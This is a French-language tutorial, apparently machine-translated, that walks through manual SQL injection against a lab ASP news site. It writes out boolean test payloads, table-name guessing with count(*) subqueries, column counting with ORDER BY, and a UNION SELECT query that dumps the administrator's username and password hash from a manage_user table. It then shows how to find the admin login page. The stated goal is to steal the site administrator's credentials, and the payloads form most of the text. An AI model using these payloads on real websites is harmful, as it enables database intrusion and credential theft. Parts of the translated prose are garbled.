Maison  >  Article  >  Opération et maintenance  >  Comment implémenter l'injection SQL manuelle

Comment implémenter l'injection SQL manuelle

WBOY
WBOYavant
2023-05-20 19:13:302633parcourir

L'injection SQL est l'une des méthodes courantes utilisées par *** pour attaquer la base de données. Son idée principale est la suivante : *** construire un code de requête de base de données après l'URL normale qui doit appeler les données de la base de données, puis en fonction du retour. résultats, obtenez donc les données que vous souhaitez. Ensuite, nous utiliserons les vulnérabilités d'injection SQL pour attaquer la plate-forme *** déjà construite afin d'obtenir le compte et le mot de passe de l'administrateur du site Web. Adresse IP du serveur cible : 192.168.80.129, *** Adresse IP de l'hôte : 192.168.80.128.

(1) Trouvez le point d'injection

Ouvrez une page Web et faites attention à l'URL.

Comment implémenter linjection SQL manuelle

Le point d'injection doit être une page comme "http://192.168.80.129/shownews.asp?id=7" où il y a un appel de commande "shownews.asp?id=7" est la valeur transmise. par la page, c'est-à-dire passer "id=7" à la page "shownews.asp" pour traitement.

Nous pouvons ajouter et 1=1 et et 1=2 après cette URL pour tester.

http://192.168.80.129/shownews.asp?id=7 et 1=1, la page Web peut toujours être affichée normalement.

http://192.168.80.129/shownews.asp?id=7 et 1=2, la page web ne peut pas s'afficher normalement.

Cela montre que "asp?" appelle également le "and 1=1" que nous avons ajouté comme paramètre de commande. Nous pouvons ensuite construire des instructions SQL à appeler et à exécuter pour obtenir les informations requises. Une page Web comme celle-ci qui peut appeler des paramètres de commande est appelée un point d'injection.

(2) Devinez le nom de la table

***L'objectif principal de la réalisation d'un site Web *** est d'obtenir le nom d'utilisateur et le mot de passe de l'administrateur du site Web. Le nom d'utilisateur et le mot de passe sont tous deux stockés dans une table en arrière-plan. base de données, donc d'abord nous devons deviner quel est le nom de cette table de données.

Les noms de table les plus couramment utilisés sont admin et admin_user Nous pouvons ajouter une telle instruction après l'URL du point d'injection pour deviner le nom de la table :

http://192.168.80.129/shownews.asp?id=7 et (select). count(*) from admin) > 0

"select count(*) from admin" signifie compter le nombre d'enregistrements dans la table admin. Si la table admin existe, alors cette instruction obtiendra une valeur. Tant que cette valeur est comparée à 0, le résultat est correct et la page web devrait s'afficher normalement. Au contraire, si la table admin n'existe pas, alors "select count(*) from admin" n'obtiendra aucune valeur. Par rapport à >0, le résultat ne sera pas établi et la page Web ne s'affichera pas normalement.

Si la page Web ne peut pas être affichée normalement, vous pouvez essayer un autre nom de table jusqu'à ce qu'elle s'affiche normalement :

http://192.168.80.129/shownews.asp?id=7 et (sélectionnez count(*) depuis admin_user) > ; 0

http://192.168.80.129/shownews.asp?id=7 et (sélectionnez count(*) dans manage_user) > 0

Le nom de la table de ce site Web est manage_user.

Les noms de table courants incluent principalement : admin sysadmin manger admin123 webadmin member manage_user

Remarque : si vous n'arrivez vraiment pas à deviner le nom de la table, vous pouvez également utiliser des outils comme Mingxiaozi pour vous aider.

Comment implémenter linjection SQL manuelle

(3) Devinez le nombre de champs

L'étape suivante consiste à deviner quel champ de cette table contient le nom d'utilisateur et le mot de passe. Tout d'abord, vous devez savoir combien de champs il y a dans la table de données. .

L'instruction « trier par » est utilisée ici. La signification originale de « trier par » est de trier par un certain champ. « Trier par 10 » signifie trier par le 10ème champ. Si le 10ème champ existe, alors le Web. la page sera affichée normalement, sinon si la page web ne peut pas s'afficher normalement, cela signifie que le 10ème champ n'existe pas.

http://192.168.80.129/shownews.asp?id=7 order by 11

En utilisant cette méthode, on peut deviner que ce tableau comporte un total de 11 champs.

(4) Devinez le nom du champ

L'étape suivante consiste à savoir quel champ stocke le nom d'utilisateur et le mot de passe L'instruction de requête conjointe "union select" est utilisée ici.

http://192.168.80.129/shownews.asp?id=7 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user

Ici stockera le nom d'utilisateur et le champ du mot de passe apparaît.

Comment implémenter linjection SQL manuelle

Le champ qui stocke le nom d'utilisateur est généralement appelé nom d'utilisateur, et le champ qui stocke le mot de passe est généralement appelé mot de passe. Remplacez les 2ème et 3ème champs par ces deux noms :

http://192.168.80.129/shownews. .asp? id=7 union select 1,username,password,4,5,6,7,8,9,10,11 from manage_user

Le nom d'utilisateur et le mot de passe sont révélés à ce moment.

Comment implémenter linjection SQL manuelle

(5) Devinez l'entrée de gestion en arrière-plan

Ce modèle Southern Data version 2.0 comprend déjà un lien appelé "Connexion administrateur". De nos jours, la plupart des sites Web ne le configurent pas de cette manière, nous devons donc généralement deviner en fonction de l'expérience. L'entrée de gestion est généralement stockée dans le sous-répertoire du site Web nommé admin. Entrez l'adresse suivante http://192.168.80.129/admin et il s'affichera automatiquement. Le portail de gestion s'affichera.

Comment implémenter linjection SQL manuelle

Ici, vous pouvez vous connecter avec le compte administrateur et le mot de passe précédemment révélés, mais le mot de passe "3acdbb255b45d296" est évidemment crypté par MD5.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer
Article précédent:Comment déployer DjangoArticle suivant:Comment déployer Django